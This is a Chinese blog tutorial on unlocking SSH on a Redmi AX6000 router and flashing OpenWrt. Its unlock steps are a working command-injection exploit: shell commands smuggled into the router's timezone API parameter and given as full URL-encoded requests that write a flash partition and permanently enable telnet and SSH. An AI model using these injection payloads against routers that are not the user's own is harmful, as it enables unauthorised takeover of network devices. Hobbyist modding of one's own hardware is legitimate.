背景
双十一又剁手买了一个红米 AX6000,现在两台 AX6000 只是做个 mesh 用,主打一个暴殄天物(划掉)。
看网友测评说 AX6000 的 openwrt 系统性能做的比原厂要好,于是决定随机抽一台拿出来刷机。
准备工作
硬件准备
- 一台红米 AX6000 路由器
- 一台 PC(Mac / Windows / Linux 都可以)
技术准备
- 会 ssh 就行
解锁 SSH
确认后台地址
先要找到路由器管理后台。红米 AX6000
的后台地址默认是 http://192.168.31.1,如果找不到后台可以重置路由器,恢复到默认后台地址。
我本人有两个 AX6000,组了个有线 mesh,要刷 mesh 机,进入主控路由器后台查看对应 IP 即可:
升级到特定版本
在小米路由器后台,将路由器手动升级到 1.2.8 版本。
之前懒得升级想直接用 1.0.x 的版本刷机,发现不太行,刷到后面调试模式起不来,还是得先刷入 1.2.8 的固件……
获取路由器 stok
stok
是 session token
的缩写。它是用于会话验证的一个令牌,保证了用户操作的安全性。当用户登录小米路由器后台进行配置或管理时,系统会生成一个唯一的 stok
,这样用户在后续的操作请求中必须提供这个令牌来证明其身份。通过使用 stok
,小米路由器能够确保只有经过验证的会话才能执行敏感操作,从而防止未授权的访问和操作,增强了设备的安全性。
在登陆米家路由器管理后台(通常是 http://192.168.31.1)后,stok 会在 url 中显示出来:
注意:每个 session 都有自己的生命周期,stok
一段时间后会自行销毁,如果遇到 403
等未授权的问题可以尝试刷新页面,获取新的 stok
。
后文将用 ${YOUR_STOK}
代替需要填入的 stok
。
开启调试模式
调试模式开启前是不可以直接 telnet 连接路由器的:
因此我们需要先打开调试模式。在 1.2.8 版本的固件下,可以通过如下代码注入使 AX6000 打开调试模式:
1 | ' ; zz=$(dd if=/dev/zero bs=1 count=2 2>/dev/null) ; printf 'Z%c%c' $zz $zz | mtd write - crash ; |
因此,我们在在浏览器的 url 栏中输入经过 url encode 的 url,注意替换 ${YOUR_STOK}
:
1 | http://192.168.31.1/cgi-bin/luci/;stok=${YOUR_STOK}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%A5%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20 |
返回 {"code":0}
代表执行成功:
设置 Bdata 永久开启 telnet
注入代码:
1 | ' ; bdata set telnet_en=1 ; bdata set ssh_en=1 ; bdata set uart_en=1 ; bdata commit ; |
我们在在浏览器的 url 栏中输入经过 url encode 的 url,注意替换 ${YOUR_STOK}
:
1 | http://192.168.31.1/cgi-bin/luci/;stok=${YOUR_STOK}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20set%20uart_en%3D1%20%3B%20bdata%20commit%20%3B%20 |
浏览器请求重启
注入代码: ' ; reboot ;
在浏览器的 url 栏中输入经过 url encode 的 url,注意替换 ${YOUR_STOK}
:
1 | http://192.168.31.1/cgi-bin/luci/;stok=${YOUR_STOK}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20 |
重启中路由器蓝灯常亮,重新常亮白灯时代表重启完成,此时直接 telnet 连接路由器:
1 | telnet 192.168.31.1 |
连接遇到问题可以尝试关闭 PC 的防火墙;正常连接如下:
永久开启并固化 ssh
参考酱紫表的方法,我们在 telnet 成功后固化 ssh,主要通过 https://fastly.jsdelivr.net/gh/lemoeo/AX6S@main/auto_ssh.sh
脚本实现:
1 | echo -e 'admin\nadmin' | passwd root |
如果因为网络问题无法下载脚本,可以直接用 vi 写进 /data/auto_ssh/auto_ssh.sh
:
1 |
|
写完之后应该就可以正常 ssh 了。
报错处理
报错:no matching host key type found
1 | Unable to negotiate with 192.168.31.1 port 22: no matching host key type found. Their offer: ssh-rsa |
解决方法:用特定的加密算法
1 | ssh -oHostKeyAlgorithms=+ssh-rsa root@192.168.31.1 |
更详细的处理方法参考 stackoverflow
报错:key verification failed.
1 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
解决方法:重新写入 key
1 | ssh-keygen -R 192.168.31.1 |
重置、升级、刷机后如何恢复 SSH
无论你是升级了系统、还是恢复了出厂、还是刷了别的版本的系统或 openwrt 再刷回来,telnet 其实都是打开的,因为写在了 bdata 分区。不过 telnet 密码会恢复成默认的,我们需要通过路由器后台右下角的 SN 号来计算。这里提供一个参考网站(安全的离线计算):Miwifidev
telnet 连上以后,执行:
1 | sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear |
就开启了 ssh,ssh 默认密码就是上面计算出来的一样。
刷入过渡固件 x-wrt
网上有 237 佬提供的升级固件,非常好用,但是需要从 x-wrt 底包中刷入。我们现在来刷 x-wrt 过渡固件。
先查看当前固件状态。这一步需要路由器是正常联网的,首先 ssh 连接上红米 ax6000 ,执行下面的命令,查看返回的 firmware 等于 0 还是 1。
1 | cat /proc/cmdline |
我截图这里是 1 :
如果是 0 执行:
1 | nvram set boot_wait=on |
如果是 1 执行
1 | nvram set boot_wait=on |
路由器重启后可以在另一个终端中查看当前 IP,直到新增 IP 出现:
1 | ifconfig | grep 192 |
复制执行完就会重启进入过渡固件,过渡固件的后台 IP 地址可以用上述命令看到,一般是 http://192.168.15.1/cgi-bin/luci/
用户名是 admin,密码是 admin
或者用户名/密码是 root/password,都试一下,不记得了(划掉)
刷入正式 OpenWrt
在 x-wrt 的固件升级页面里面直接刷官方的 openwrt 固件或者 237 佬的 openwrt 固件,这里我只放了原装分区版本,没有修改 uboot 分区,即使翻车了也可以用小米官方的救机工具救回。237 佬两个固件的区别详情可见他本人博客。
- 默认ip 192.168.6.1 用户名 root 密码 password 无线密码 12345678
- full mini版差异在于默认集成插件,其他一致。
其他问题
这里主要列举一下我刷官方 Openwrt 固件遇到的问题,237 佬的固件写的很好,没遇到问题…
后台 IP 冲突
OpenWrt 官方版安装好之后,默认的IP地址是192.168.1.1,需要我们手动修改
- 拔掉 wan 口入网网线,确保冲突 IP 只有路由器 openwrt 在使用;
- 以 root 的身份 ssh 登录 openwrt 后台
- 修改
/etc/config/network
文件:
用 vim 或其他熟悉的文本编辑器,把 option ipaddr '192,168.1.1'
改成自己需要的IP地址,如 192.168.32.1
等,然后保存退出重启路由器即可。
没有 vim 可以用 vi,或者手动装一个 vim:
1 | opkg update |
没有 WEB-UI
能够 ssh 连接路由器,但是浏览器里面打不开管理后台。可能是官方默认的 Openwrt 没有装 Luci,我们连上 ssh 直接安装:
1 | # 更新软件包仓库信息 |
装好后如图所示:
SCP 报错
没有 SCP,不方便导入文件:ssh 连上去手动装一个。
1 | opkg install openssh-sftp-server |
最终效果
237 佬的固件还是非常好用的!
非常喜欢这个 UI
服务设置
IPV6 设置
OpenWrt 官方默认不支持扩展 IPV6,启用的话需要安装 ipv6-helper,参考官方文档
OpenClash 设置
不知道是不是那啥的原因,我自己的 openclash 一直配置有问题,而且 openclash 的作者也没有对 IPV6 做有效的支持。由于我对 IPV6 执念过深,隧放弃 openclash,感兴趣的小伙伴可以参考阿修的博客。
UU 加速器设置
手机里下载一个 UU 主机加速,连上 Wi-Fi 启动即可。
实测,UU 加速器插件目前只可以给主机加速,给 PC 加速需要另外设置,将 PC 伪装成主机。
Reference
https://qust.me/post/ax6000-shellclash/
https://openwrt.org/toh/xiaomi/redmi_ax6000
https://www.right.com.cn/forum/thread-8261104-1-1.html